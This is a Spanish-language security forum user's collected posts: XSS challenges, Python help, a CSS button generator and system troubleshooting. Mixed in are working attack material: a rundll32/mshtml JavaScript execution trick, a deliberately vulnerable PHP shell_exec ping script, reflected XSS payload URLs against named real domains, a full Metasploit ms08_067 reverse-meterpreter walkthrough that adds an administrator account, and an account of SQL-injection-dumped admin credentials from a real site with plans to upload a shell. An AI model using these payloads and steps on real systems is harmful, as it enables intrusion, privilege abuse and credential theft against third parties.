Blackdrake (URI) --------> solución esperada, funcional en todos los navegadores.
Arthusu (URI) ---------> solución esperada + encoding, funcional en todos los navegadores.


Reto cerrado, solución en comentarios.



Saludos.
#19
¡Buenas a todos! El post explica cómo ejecutar tareas en Windows desde cmd mediante código Javascript. Por ahora lo he probado en Windows 8 y en Windows 7, en ambos funciona.
Quiero dejar constanza de que el payload inicial NO es mío, sino que lo vi por Twitter y me puse a probar cosas nuevas.

Necesitaremos:

  • Un Windows
  • Conocimientos básicos de Javascript
1. Abrimos nuestro cmd y ejecutamos nuestro rundll32.exe ubicado en C:\Windows\System32
2. Una vez ahí lanzamos nuestro payload de prueba con un alert y nuestro nick:
Código: php
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";alert("Jimeno")

Así obtendremos un resultado como este:


Podemos ejecutar tanto alerts como prompts como cualquier otra cosa:


Pero... ¿y si vamos más allá? ¿Y si decidimos ejecutar un programa cualquiera? ¿Se podrá? La respuesta es SÍ.
Para esta demo decidí utilizar dos programas inofensivos: "calc.exe" --> la calculadora de Windows y "explorer.exe" --> el explorador de archivos.
Eso sí, ahora nuestro payload se complica bastante, quedaría así:
Código: php
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write("\74script language=javascript>"+(new%20ActiveXObject("WScript.Shell")).Run("calc.exe")+"\74/script>")




Para ejecutar cualquier otro programa solo necesitamos escribir su ruta:



Esto es todo, ahora solo necesitan dejar jugar a su imaginación.

¡Saludos!
#20
Wargames y retos / Reto XSS [nivel: medio]
Julio 01, 2014, 12:56:01 PM

Buenas, como ya dije iba a hacer una serie de retos y tras varios días con el papeleo de la Universidad aquí está el segundo.
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Las reglas son iguales que en el anterior, quedan prohibidos los scanners, además que no les servirán.
Objetivo: para pasar el reto habrán de responder a este tema con una captura de pantalla en la que NO se vea el payload y se muestre un ALERT/CONFIRM/PROMPT con su nick en el foro, posteriormente me enviarán el payload por mensaje privado para validarlo.
Lista de ganadores:
1º  - Dedalo (payload enviado por MD en Twitter)

link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
2º - Arthusu (payload enviado por Google Hangouts)

link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

El reto queda cerrado, se ha publicado el solucionario con varios payloads válidos.

EDITO: el solucionario del reto se publicará el día 6 de Julio o el día 7 de Julio en un comentario en este mismo post.
Saludos.
#21
¡Buenas! Traigo un reto de XSS que estuve preparando en un rato.
Por favor, no utilicen escáneres de vulnerabilidades ya que impedirán que otros usuarios puedan probar el reto (me cancelarán la cuenta en el hosting), además de que no aprenderán y posiblemente su escáner no pueda saltar el filtro.
Quiero aclarar que el filtro no es algo que se deba utilizar en un entorno real, solo está diseñado para este reto.
Pista: el filtro se basa en una black-list ;)
Para pasar el reto habrán de responder a este tema con una captura de pantalla en la que NO se vea el payload y se muestre un ALERT/CONFIRM/PROMPT con su nick en el foro, posteriormente me enviarán el payload por mensaje privado para validarlo.
Link del reto: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Ganadores:
1º - Alexander1712
2º - arthusu
3º - kid_goth (kujo en IRC)
4º - [Q]3rV[0]
5° -  hdbreaker
6º - Darkchoto
Saludos.
#22
Python / Remote Command Execution scanner [RCEer]
Mayo 24, 2014, 01:53:49 PM
¡Buenas! En la tarde de hoy quise desarrollar un pequeño pero valioso script que me ayudase a la hora de encontrar y explotar los RCE en las aplicaciones web, por ello desarrollé este simple script:

// No me hago responsable del uso que se haga de esta herramienta, tampoco prometo actualizarla ya que esta es una versión recién programada.


Para explotar esta vulnerabilidad necesitamos un código vulnerable (este está creado por Blackdrake):
Código: php
<?php

//By Jimeno y Blackdrake

$objetivo = $_GET['ip'];

// Verificamos S.O...
if (stristr(php_uname('s'), 'Windows NT')) { 
       $cmd = shell_exec( 'ping  ' . $objetivo );
       echo '<pre>'.$cmd.'</pre>';   
   }
else { 
       $cmd = shell_exec( 'ping  -c 3 ' . $objetivo );
       echo '<pre>'.$cmd.'</pre>';   
   }
?>

El script consta de tres archivos:
1. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
2. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
3. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ejemplo de uso:

Tenemos nuestra aplicación web:


Queremos ver si es vulnerable, luego lanzamos la herramienta:


Nos dice que es vulnerable, luego accedemos a la POC para comprobar si se trata de un falso positivo:


Y... ¡ES VULNERABLE!

Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.




#23
Tras ver que muchos de los usuarios del foro han preguntado lo mismo tanto por IRC como por posts en el foro mismo, traigo la solución que encontré googleando (en menos de un minuto) y la que creo que es mejor.

Digo desde ya que la fuente oficial es: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Pasos a seguir:
Dirígete a las preferencias del sistema ("Settings") tal como ves en la siguiente imagen:

link imagen: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Haz click en "Change PC Settings" que se encuentra en la parte inferior derecha:

Link imagen: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

En el menú a continuación escogeremos la sección "General" debajo de "PC Settings" y en la parte derecha vamos al final y encontraremos la opción "Advanced Startup" y seleccionamos  "Restart now". Antes asegúrate de tener el usb booteable conectado.

Link imagen: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Esto reiniciará nuestra portátil y nos dará las siguientes opciones. Escoge la opción "Use a device" para luego seleccionar el dispositivo a bootear:

Link imagen: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora es cuestión de seleccionar nuestro usb booteable:

Link imagen: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


¡LISTO!

Saludos.
#24
Buenas a todos.
Hace tiempo llevo viendo por la red comentarios con enlaces acortados (t.co, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, etc) que llevan a phising, robo de cookies, etc. La mayoría de ellos distribuidos en las redes sociales para multiplicar su expansión.
Bien, por ello ahora, si no confío mucho en el enlace que visitaré primero lo "analizo" con curl para saberlo antes de pulsar en él, puesto que se tardan segundos.

Un ejemplo de los enlaces compartidos:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Para ver al sitio que nos lleva la web simplemente, en nuestra terminal lo pasamos por curl y sus parámetros. Para quien quiera ver qué hacen o por qué se utilizan los parámetros, que lea el
Código: php
man curl


Nuestro comando será (no siendo necesario ser root):
Código: php
curl -S sitioacortado -LI

Un ejemplo:
Código: php
curl -S http://tinyurl.com/qymjkjh -LI


Y si queremos ver solamente el sitio al que nos lleva, usamos grep, quedando así el comando:
Código: php
curl -S http://tinyurl.com/qymjkjh -LI | grep Location

Un ejemplo de la salida:
Código: php
jimeno@jimeno--Notebook ~ $ curl -S http://tinyurl.com/qymjkjh -LI | grep Location
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0 44804    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
Location: http://www.sainsburysebooks.co.uk/author/Nick+Oldham/2081476



Saludos, y, aunque esto no sea nada nuevo, puede servir de ayuda.
#25
Off Topic / [HUMOR] Softonic, una web cancerígena
Enero 01, 2014, 02:59:45 PM
¡Buenas a todos! Para comenzar con alegría y risas el nuevo año quisiera dejar este vídeo:

FUENTE: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Espero que riáis como yo lo he hecho.
#26
Buenas a todos.
Quería compartir con ustedes este pequeño pero a la vez eficaz servicio que nos proporciona una interfaz gráfica a la hora de crear el estilo para nuestros botones en CSS3.

Con un par de clics y cambios de colores en su genial interfaz, nos proporciona un código de lo más completo, vean este ejemplo:
Código: html5
<button type="button" name="" value="" class="css3button">submit</button>

Código: css
button.css3button {
font-family: Arial, Helvetica, sans-serif;
font-size: 14px;
color: #ffffff;
padding: 10px 20px;
background: -moz-linear-gradient(
top,
#17998e 0%,
#e8e864);
background: -webkit-gradient(
linear, left top, left bottom,
from(#17998e),
to(#e8e864));
-moz-border-radius: 0px;
-webkit-border-radius: 0px;
border-radius: 0px;
border: 1px solid #7d0000;
-moz-box-shadow:
0px 1px 3px rgba(000,000,000,0.5),
inset 0px 0px 2px rgba(255,255,255,0.7);
-webkit-box-shadow:
0px 1px 3px rgba(000,000,000,0.5),
inset 0px 0px 2px rgba(255,255,255,0.7);
box-shadow:
0px 1px 3px rgba(000,000,000,0.5),
inset 0px 0px 2px rgba(255,255,255,0.7);
text-shadow:
0px -1px 0px rgba(000,000,000,0.4),
0px 1px 0px rgba(255,255,255,0.3);
}


De hecho, para facilitar el trabajo, hay una gran variedad de botones ya creados.
Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Saludos.
#27
Buenas a todos.
Se trata de un XSS reflejado en TODOS los dominios de la empresa.

Para no publicar imágenes puesto a que son demasiados dejaré un par de ejemplos y el vector utilizado.

El vector será:
Código: php
"/><svg/onload=confirm(/Jimeno/.source);>

Estado: REPORTADOS

Unos ejemplos del fallo:
Código: php
http://buscar.hispavista.com/?q=%22%2F%3E%3Csvg%2Fonload%3Dconfirm%280%29%3B%3E
http://buscar.hispavista.com/?q=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&str=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&cadena=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22
labolsa.com/buscador/?cadenaBusqueda=""%3B<%2Fscript><script>alert(0)<%2Fscript><"&buscar=Buscar
http://turismo.hispavista.com/buscar/?q=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&Submit=Buscar+en+Turismo&cadena=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&str=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22
http://paginasamarillas.hispavista.com/index.phtml?cadena=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22&Submit=Buscar+en+P%E1g.+amarillas&oculto=SPAIN&str=%22%22%3B%3C%2Fscript%3E%3Cscript%3Ealert%280%29%3C%2Fscript%3E%3C%22
http://buscar.hispavista.com/?q=%3CBODY+ONLOAD%3Dalert%28%27XSS%27%29%3E&Submit=Buscar

Hay muchos más, estos son unos ejemplos.
AFECTA A TODO EL SERVIDOR.
Saludos.
#28
Hola comunidad, se me ha ocurrido hacer una especie de glosario en el que cada usuario pueda compartir sus trucos a la hora de aprender a programar en un lenguaje determinado y el por qué de ellos.
Todo tip será aceptado, no tienen por qué ser expertos en el lenguaje.
El glosario constará de estas partes:

  • Lenguaje o lenguajes para los que sirve
  • Explicación breve o extensa
  • Pros y contras del mismo
  • Algún ejemplo donde se vea su utilidad (Opcional)

Saludos y espero que colaboren para que todos podamos aprender cuantos más lenguajes mejor. ((:
#29

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Buenas, en este post se muestra al proceso mediante el cual se accede a un Windows XP SP3 en una red LAN desde metasploit, se obtiene una sesión con meterpreter en el sistema y luego se añade un usuario con privilegios de administrador al sistema. Por último se obtiene una GUI remota, lo que podría facilitar determinadas acciones.
Si luego se quieren eliminar rastros una de las cosas más importantes es eliminar desde meterpreter el usuario creado.

Para esta práctica se utilizan:
   - BackTrack 5 R3
   - Windows XP SP3 virtualizado en VMWare Player

En todo momento se deben sustituir los valores:

   "miIP" por vuestra IP Local
   "suIP" por la IP de la máquina a vulnerar
   "tuusuario" por el nombre de usuario que elijas
   "tupass" por la contraseña que elijas

Una vez presentado el entorno, aquí van los pasos:
   1- Comprobar la máquina vulnerada, para hacerlo de forma rápida se utilizará nmap. Sintaxis: nmap -O suIP
   2- Una vez comprobado, ejecutar la consola de Metasploit. Sintaxis: msfconsole
   3- Cargar el exploit. En este caso utilizamos uno que ataca al protocolo smb. Sintaxis: use exploit/windows/smb/ms08_067_netapi
   4- Seleccionamos un PAYLOAD, se utilizará un meterpreter con conexión inversa. Sintaxis: set PAYLOAD windows/meterpreter/reverse_tcp
   5- Se coloca la IP local. Sintaxis: set LHOST miIP
   6- Se coloca la IP remota. Sintaxis: set RHOST suIP
   7- Comprobar que no queden campos vacíos (opcional). Sintaxis: show options
   Debe salir algo así:

Citarmsf  exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    192.168.1.153    yes       The target address
   RPORT    445              yes       Set the SMB service port
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique: seh, thread, process, none
   LHOST     192.168.1.102    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


Nota: los campos de las IP deben ser los vuestros
   8- Lanzar el exploit. Sintaxis: exploit
   9- Una vez en meterpreter se obtiene el sistema. Sintaxis: getsystem
   10- Una vez tenemos privilegios hay que crear un nuevo usuario. sintaxis: run getgui -u tuusuario -p tupass -e
   11- Obtenemos una shell en el sistema. Sintaxis: shell
   12- Elevar privilegios al usuario. Sintaxis: net localgroups administradores tuusuario /add    Donde administradores es el nombre del grupo de admins.
   13- En una nueva pestaña de la terminal se utiliza la herramienta rdesktop. Sintaxis: rdesktop -u tuusuario -p tupass suIP

Y se abre una ventana con la GUI.



Un saludo ((:

#30
Buenas a todos, les traigo un curso bastante bueno de Python en el que se inicia el aprendizaje desde cero. Lo encontré tirado por mi disco duro externo así que no tengo la fuente, si alguien la conoce que la ponga en un comentario y edito ((:

El curso se divide en tres etapas

TÍTULO: Aprender Python desde cero
AUTOR: Ricardo Navaja
Descripción: curso orientado al aprendizaje del lenguaje Python desde un nivel nulo hasta capacidades básicas. Se divide en tres etapas:

ETAPA I:
   0. Aprendiendo a programar en Python desde cero
   1. Ejecutando e importando módulos
   2. Practicando importar módulos y keys útiles
   3. Objetos, números y operaciones
   4. Más números y operaciones
   5. Strings
   6. Strings, secuencias de escape
   7. Strings en acción
   8. Strings de formato avanzado
   9. Métodos en strings (+ anexo registro de WING)
   10. Más strings y métodos
   11. Listas (+ anexo módulos para listas)
   12. Diccionarios (+ anexo diccionarios)
   13. Tuplas
   14. Archivos (+ anexo métodos para archivos)
   15. Comparaciones
   16. Declaraciones y asignaciones
   17. Declaraciones, print e if
   18. Declaraciones, while, break, continue, for, input, raw_input
   19. Funciones
   20. Funciones, variables locales y globales
   21. Funciones, pasando argumentos, share
   22. Funciones, pasando argumentos de forma especial
   23. Funciones, ejemplos
   24. Funciones avanzadas lambda
   25. Funciones avanzadas, apply-map-filter-reduce
   26. Última parte de funciones yield-iter
   27. Módulos I
   28. Modulos II
   29. Clases
   30. Clases - subclases
   31. Clases - detalle
   32. Clases - interceptando operadores de python
   33. Clases - finalizando la Etapa I

ETAPA II:
   1. Introducción, la primera tarea
   2. Guardando los datos
   3. Módulos complementarios
   4. Usando Pickles
   5. Usando shelves o estantes
   6. Usando OOP
   7. Agregando interfases, consola interactiva
   8. Introducción a Tkinter
   9. Agregando una interfase web
   10. CWD e import search path, argumentos, empezando redirección
   11. OS y SYS
   12. Profundicemos en el módulo SYS
   13. Profundicemos en el módulo OS
   14.CWD e import search path, argumentos, empezando redirección
   15. Encadenando programas con pipas
   16. Más redirección y encadenamiento
   17. Redireccionando streams a objetos, módulo StringIO OS,Popen
   18. Herramientas y archivos de directorio
   19. Más herramientas y archivos de directorio
   20. Herramientas de directorios
   21. Herramientas de trabajo paralelo, forking-os.exec
   22. Herramientas de trabajo paralelo, threads, locks
   23. Herramientas de trabajo paralelo, threads, threading y queue
   24. Salida o finalización de un programa, exit threads
   25. Comunicación entre procesos, pipes anónimos y con nombre
   26. Signals, otras formas de correr programas
   27. Ejemplos de utilidades en Python, Splitter & Joiner
   28. Comenzando con GUI's en profundidad, primeros pasos en Tkinter
   29. Paso a paso con Tkinter
   30. Agreguemos botones y las funciones call back
   31. Agreguemos múltiples widgets
   32. Usando clases en Tkinter
   33. Tipos de widgets en Tkinter
   34. Configurando widgets
   35. Ventanas top level
   36. Diálogos en Tkinter
   37. Usando bind más profundamente
   38. Usando message y entry
   39. Más sobre entry, variables Tkinter
   40. CheckButton, RadioButton y Scale
   41. GUI's desde la consola
   42. Corriendo código de GUI's, tres formas
   43. Imágenes en Tkinter
   44. Viendo y procesando imágenes con PIL
   45. Menús top Level
   46. Frames básicos, MenuButtons y OptionMenus
   47. Listboxes y scrollbars
   48. Text Widget
   49. Canvas Widget I
   50. Canvas Widget II
   51. GRID
   52. Akgunas herramientas adicionales de Tkinter, After, Pausas
   53. Moviendo y animando dentro de una GUI

ETAPA III:
   1. Internet
   2. Programando Sockets
   3. Probando sockets en forma remota
   4. Server, manejando múltiples clientes a la vez
   5. Usando sockets para crear un servidor de archivos simple
   6. FTP, transfiriendo archivos con FTPlib
   7. Usando URLlib para bajar archivos
   8. Más sobre FTPlib
   9. Procesando mails - POP
   10. Procesando mails - SMTP
   11. Módulo email parseando y componiendo mails
   12. PyMail, un cliente mail desde la consola
   13. NNTP accediendo a los newsgroups
   14. HHTP Accediendo a webs
   15. Usando URLlib en HTTP
   16. CGI Scripts, introducción
   17. Comenzando con los ejemplos de CGI
   18. Más ejemplos de CGI
   19. Más de CGI, agregando interacción con el usuario
   20. CGI, cada vez más realista
   21. Más CGI scripts, otros tipos de entrada
   22. Manejando datos en CGI Scripts-Cookies
   23. Python server pages PSP


De momento lo he subido a 4shared pero lo subiré a más servidores por si lo borran.
Link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Link2: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta (El primero esta caido)
Aclaro que los documentos no están muy bien redactados, aunque sí que explica todo muy bien, "pega patadas al diccionario" de vez en cuando. Si os gusta la lectura a veces os sangrarán los ojos. El que avisa no es traidor ((:

PD: todo el post ha sido completamente redactado por mí.
#31
Buenos días, buenas tardes, o buenas noches, usuarios de Underc0de.
Como el título define, la duda se basa en el tema del defacing. Me explico.

Desde hace bastante tiempo, digamos ya unos dos años, estoy muy interesado en el mundillo al que se dedican las comunidades como esta. Siempre se me han planteado dudas, pero esta me lleva torturando hace ya bastante tiempo.
Supongo que todos conoceréis la "comunidad" zone-h donde los llamados defacers muestran sus obras, en las que hay cantidades industriales de defaces.
Nunca quise hacer esto por los fines poco o nada éticos que tiene, pero siempre me ha interesado por curiosidad.
Me habré leído decenas de PDF's sobre vulnerabilidades como inyección SQL, XSS, LFI, RFI, CSRF, etc, etc, etc. Sin embargo, nunca he conseguido el acceso a las webs más que con la inyección SQL. Luego están las vulnerabilidades en conocidas CMS como Joomla! y WordPress para las que existen los famosos escáneres Joomscan y WPScan.
Luego, los escáneres para sistemas como Nessus y especializados en webs como Acunetix o Shadow Security Scanner y demás. Habré podido leer las secciones de foros como este y No tienes permitido ver los links. Registrarse o Entrar a mi cuenta varias veces, he Googleado y "YouTubeado" horas y horas. Y ya me he resignado y hartado, pido ayuda, no un Mega-Tutorial, sino una especie de respuesta F.A.Q con los links que debería leer (la mayoría ya los habré leído).
Supongo que en el foro habrá alguien que se haya dedicado al tema del defacing en algún momento, o lo domine.

Aclaro que esto tiene únicamente fines de aprendizaje.

Saludos.

PD; si molesta a alguien que no lo lea, si molesta a varios, que se elimine el post.
#32
SOLUCION: a mí al menos se me ha solucionado al dar permisos a lampp y a www
Código: php
chmod 777 /opt/lampp
chmod 777 /var/www

GRACIAS A TODOS POR AYUDAR ((:[/color]


Buenas comunidad, estoy tratando de instalarme en un servidor local el DVWA para probar mi destreza en cuanto a vulnerabilidades web y se me presenta un error.
Para instalar el XAMPP no tengo problema, lo bajo de apachefriends, link --> No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Lo descomprimo con un
Citartar xvfz xampp*.tar.gz -C /opt
para llevarlo a su ruta natural y no hay problema, me lanza la pantalla de que funciona.
El problema viene que al descargar DVWA una vez tengo el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y lo extraigo con el Gestor de Archivadores a la ruta hago esto.
Voy a
Citarrm * /opt/lampp/htdocs
rm -rf * /opt/lampp/htdocs
para limpiar completamente el directorio y lo reviso desde el nautilus.
Extraigo el paquete .zip al directorio quedando todos sus paquetes y no la carpeta en /opt/lampp/htdocs
Aquí una imagen de cómo queda:




Bueno, el problema es que al ejecutar el /opt/lampp/lampp start y acudir tanto en Firefox como en Chromium a localhost:80 me sale esto:




Pues eso, que me tira ese error de que no es capaz de conectar la base de datos MySQL y no hay forma de hacerlo.
Información necesaria: S.O BackTrack 5 R3 Gnome 64 bit
Versiones de XAMPP y de DVWA las más actuales.
Versión de Firefox y de Chromium: las más actuales.


He probado ya con el Script en Bash que he encontrado Googleando y no consigo dar con una solución, agradecería que me echarais una mano.


Saludos Comunidad.
PD: Hoy es mi cumpleaños :P
#33
Presentaciones y cumpleaños / Me presento.
Noviembre 05, 2012, 11:36:25 AM
¡Buenas tardes comunidad! Si bien os pasáis a menudo por la zona de Wargames habréis visto algún comentario mío, si no, muy pocos me conoceréis.
Llevo ya en este foro un tiempo pero nunca me presenté porque pensaba que se me tomaría como Script Kiddie o algo parecido, pero bueno, hoy me presento.
Me paso muy a menudo por esta comunidad cada vez que veo algo interesante en su Twitter.
Pocos me conocerán pero yo conozco a bastantes de vosotros de leer vuestros blogs :D
Bueno algo de información personal (¿auto doxeo? jajaja)
Soy de España y creo que pocos de este foro somos de aquí... actualmente estudio Primero de Bachillerato de Ciencias y Tecnología y espero que me dé la nota de Selectividad para acceder a Ingeniería Informática o de Sistemas Informáticos.
Vengo a aprender y a pasarlo bien, actualmente me interesa mucho Python y los Wargames. Si puedo ayudar a alguien lo intentaré.
Posiblemente me veáis en alguna otra comunidad con el mismo Nickname. Si alguien quiere contactar conmigo lo puede hacer en @migueljimeno96 en Twitter.

Saludos.
#34
¡Buenas Comunidad!
Tengo un problemilla y es que me aburría y me puse a hacer un poco de inyección SQL automatizada con DarkMySQLi y con SQLmap para ver cuál me arrojaba mejores resultados. Hasta ahora pensaba que SQLmap era el mejor, pero bueno, ahora los considero iguales. El problema es que tras hacer la prueba en la misma web los dos me arrojan el mismo resultado. Usuario con permisos 1, nombre "admin" contraseña un Hash MD5 que desencriptado es "james77" el HASH es: 880dd5c5cadab7cc77a719d180ff23cc

Dejo los resultados de uno y de otro:
DarkMySQLi:
Citar1:admin:880dd5c5cadab7cc77a719d180ff23cc:[email protected]:
SQLmap:
CitarDatabase: db415420318
Table: srminstalaciones_users
[1 entry]
+---------+-----------------+--------+----------+----------------------------------+-----------+------------+---------------------+--------------+---------------------+
| user_id | email           | active | username | password                         | last_name | first_name | create_date         | admin_access | modified_date       |
+---------+-----------------+--------+----------+----------------------------------+-----------+------------+---------------------+--------------+---------------------+
| 1       | No tienes permitido ver los links. Registrarse o Entrar a mi cuenta | 1      | admin    | 880dd5c5cadab7cc77a719d180ff23cc | <blank>   | <blank>    | 2006-07-25 21:22:33 | 1            | 2009-05-13 07:43:16 |
+---------+-----------------+--------+----------+------------------------------

Bueno, el problema es que al acceder al panel de administración de la web, obtenido mediante DirBuster, alojado en /administracion/admin/login.php y poner los campos me tira un error de login incorrecto. He probado con FileZilla a introducir los campos en el ftp y tampoco da resultado. Nunca me había pasado esto con  la inyección SQL.

Si es necesario pasar las URL de las webs no me importa puesto que no las defacearé, simplemente comprobaré el acceso al panel, intentaré subir shell por si en un futuro quiero hacer algo y reportaré al administrador la vulnerabilidad.
No pongo la url de la web porque sé que está prohibido pasarla, aunque si para ayudarme requiere pasarla ya digo que sin problemas.

Un Saludo a la comunidad.
#35
Buenas comunidad, recientemente he terminado de descargar el curso de CEH v7, que es bastante pesado, unos 17,9 GB. Ante todo, me trae mucha decepción pues los vídeos son .exe y los tengo que abrir con wine. Pero mi duda y gran SORPRESA DECEPCIONANTE es que lo que a mí me interesa, los PDF's traen CONTRASEÑA. En la fuente en la que yo lo bajé ponía que no traía claves, y sí que las trae. Tras googlear horas y horas no he encontrado nada de la clave, sé que hay reventadores de passwords para archivos comprimidos tipo .rar .zip .tar.bz2 pero para .pdf no conozco nada, y antes de recurrir a la fuerza bruta en ese password quisiera que alguien que ya lo haya descargado o lo conozca me de la contraseña, porque la verdad, ansío comenzar a leer estos documentos. Dejos dos fotos y sus respectivos links, que son capturas de pantalla de lo que aparece al abrirlos.



Aquí lo que aparece al intentar abrir el módulo 00 que supongo que será un índice.



Aquí los archivos .pdf que traen contraseña.
Links de las imágenes por si a caso no se vieran:
Primera imagen: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Segunda imagen: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Cabe aclarar, por si a caso, que la descarga fue realizada mediante un cliente de .torrent (concretamente el Transmission).

-------------------------------------------------------------------------------------------------------------------------------------------------------------------

En esta segunda parte del post quisiera preguntar cómo grabar sus imágenes .iso en una carpeta dentro del Disco Duro Externo para poder ver su contenido.
Añado una imagen de  nautilus ubicado y seleccionando las imágenes .iso a las que me refiero.


Si no se ve la imagen, link: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#36
Buenas, hago este post porque he tenido un problema con mi teléfono Android 2.3.4 modelo Android GT-i9100 que es la imitación correspondiente al Samsung Galaxy s II.
He realizado muchos intentos con el patrón de desbloqueo fallidos y me ha mandado al restore o donde hay que poner los credenciales de la cuenta de Google que puse al iniciar por primera vez el teléfono. Y no me sé ni la cuenta Gmail ni la Contraseña.
Querría saber si hay algún método para salir de ahí y poder utilizar el móvil normal.
No está rooteado y al conectar el USB al PC y al móvil no me reconoce ningún dispositivo el ordenador, así que creo que la depuración por USB estará desactivada.
Añado una foto de la pantalla para que vean en qué situación está:
#37
Buenas, ante todo pido disculpas si el post no está donde debe. La petición de ayuda es que estoy haciendo una especie de juego (no del todo es un juego) para manejarme con python, y estoy en un apartado donde hay que responder a una pregunta y dependiendo de la respuesta sale correcto o incorrecto, he llegado a este código, con ERROR.
     -Error en el que la respuesta siempre es positiva:
Código: python
solucion1 = raw_input ('Cuanto es 3+3 >> Responde aqui: ')
print 'Tu solucion es: '
print solucion1
if solucion1 != 6 :
   print 'CORRECTO'
else:
   print 'Has fallado, Zopenco'

     
     -Error en el que la respuesta siempre es negativa:
Código: python
solucion1 = raw_input ('Cuanto es 3+3 >> Responde aqui: ')
print 'Tu solucion es: '
print solucion1
if solucion1 == 6 :
   print 'CORRECTO'
else:
   print 'Has fallado, Zopenco'


Por esto, pido ayuda para escribir el código en el que dependiendo de la respuesta salga correcto o el mensaje de incorrecto.
Gracias por leer y responder. Saludos a la comunidad.
PD: Lo de 'Cuanto es 3+3' es una pregunta base que he hecho para probar...
#38
Buenas, a ver, el título es un poco lioso, lo sé, pero no se me ocurre ninguna forma de expresar lo que quiero, así que en el desarrollo del post lo intentaré.
Mi idea es guardarme TODO mi Ubuntu 12.04 LTS x64 en una carpeta o partición de mi disco duro externo, luego instalar en todo el disco duro del portátil un Windows 7 Ultimate x64, y hacer dual boot instalando ese mismo Ubuntu, pero, al hacer esto, habría de perder todo lo que tengo instalado en mi Ubuntu, y eso es lo que no quiero. Por lo que la petición sería esta:
    + Cómo guardar una copia de mi Ubuntu en el disco duro externo para después de haber instalado Windows y hecho el dual boot, recuperar todo lo que anteriormente poseía en mi Ununtu.
    * Si esto no es posible otra petición sería: instalar Windows sin borrar mi Ubutnu y además instalar un Grub o gestor de arranque para no perder mi primer Sistema Operativo.

Si es posible hacer algo de lo que pido, por favor, denme un link en donde se explique cómo hacerlo o una explicación de cómo hacerlo.

¡Saludos y gracias!